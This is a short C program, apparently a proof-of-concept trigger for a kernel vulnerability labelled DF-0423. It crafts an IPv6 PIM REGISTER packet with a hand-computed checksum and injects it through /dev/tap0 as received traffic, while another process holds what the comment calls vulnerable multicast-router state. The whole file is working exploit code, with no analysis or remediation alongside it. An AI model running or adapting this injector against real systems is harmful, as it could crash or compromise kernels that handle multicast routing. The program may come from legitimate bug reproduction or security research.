/* DF-0423 injector: write a PIM REGISTER as tap0 ingress (RX path) while a
 * separate process holds the vulnerable mrouter state. Uses a faithfully
 * computed in6_cksum-style PIM checksum (skips scope-id words for fe80::). */
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

static uint16_t pcksum(const struct in6_addr *src, const struct in6_addr *dst,
    const uint8_t *data, int dlen) {
	uint32_t sum = 0;
	uint8_t ph[40];
	memcpy(ph, src, 16);
	memcpy(ph + 16, dst, 16);
	/* clear embedded scope-id words (bytes 2-3) for fe80:: so on-wire
	 * matches the kernel's in6_cksum scope-linklocal skip */
	if (IN6_IS_ADDR_LINKLOCAL(src)) { ph[2]=0; ph[3]=0; }
	if (IN6_IS_ADDR_LINKLOCAL(dst)) { ph[18]=0; ph[19]=0; }
	ph[32]=0; ph[33]=0; ph[34]=(dlen>>8)&0xff; ph[35]=dlen&0xff;
	ph[36]=0; ph[37]=0; ph[38]=0; ph[39]=103;
	const uint16_t *p = (const uint16_t *)ph;
	int i;
	for (i = 0; i < 20; i++) sum += ntohs(p[i]);
	p = (const uint16_t *)data;
	for (i = 0; i < dlen/2; i++) sum += ntohs(p[i]);
	while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16);
	return htons(~sum & 0xffff);
}

int main(void) {
	uint8_t pkt[14 + 40 + 8 + 40];
	memset(pkt, 0, sizeof(pkt));
	/* eth: dst=tap0 MAC 00:bd:4c:d3:00:00, src=02:00:00:00:00:01 */
	pkt[0]=0x00;pkt[1]=0xbd;pkt[2]=0x4c;pkt[3]=0xd3;pkt[4]=0x00;pkt[5]=0x00;
	pkt[6]=0x02;pkt[7]=0;pkt[8]=0;pkt[9]=0;pkt[10]=0;pkt[11]=0x01;
	pkt[12]=0x86;pkt[13]=0xdd;
	struct ip6_hdr *ip6 = (struct ip6_hdr *)(pkt+14);
	ip6->ip6_vfc=0x60; ip6->ip6_plen=htons(48); ip6->ip6_nxt=103; ip6->ip6_hlim=255;
	struct in6_addr src, dst;
	inet_pton(AF_INET6,"fe80::1",&src);
	inet_pton(AF_INET6,"fe80::2bd:4cff:fed3:0",&dst);
	ip6->ip6_src=src; ip6->ip6_dst=dst;
	uint8_t *pim = pkt+14+40;
	pim[0]=0x21; /* ver2|REGISTER */
	pim[1]=0; pim[2]=0; pim[3]=0; /* cksum filled */
	/* inner ip6 */
	struct ip6_hdr *in=(struct ip6_hdr*)(pim+8);
	in->ip6_vfc=0x60;
	inet_pton(AF_INET6,"ff0e::1",&in->ip6_dst);
	uint16_t c = pcksum(&src,&dst,pim,8);
	pim[2]=(c>>8)&0xff; pim[3]=c&0xff;
	int fd=open("/dev/tap0",O_RDWR);
	if(fd<0){perror("open tap0");return 2;}
	fprintf(stderr,"injecting PIM REGISTER via tap0 RX (cksum=0x%04x)\n",c);
	if(write(fd,pkt,sizeof(pkt))<0)perror("write");
	sleep(2);
	close(fd);
	return 0;
}
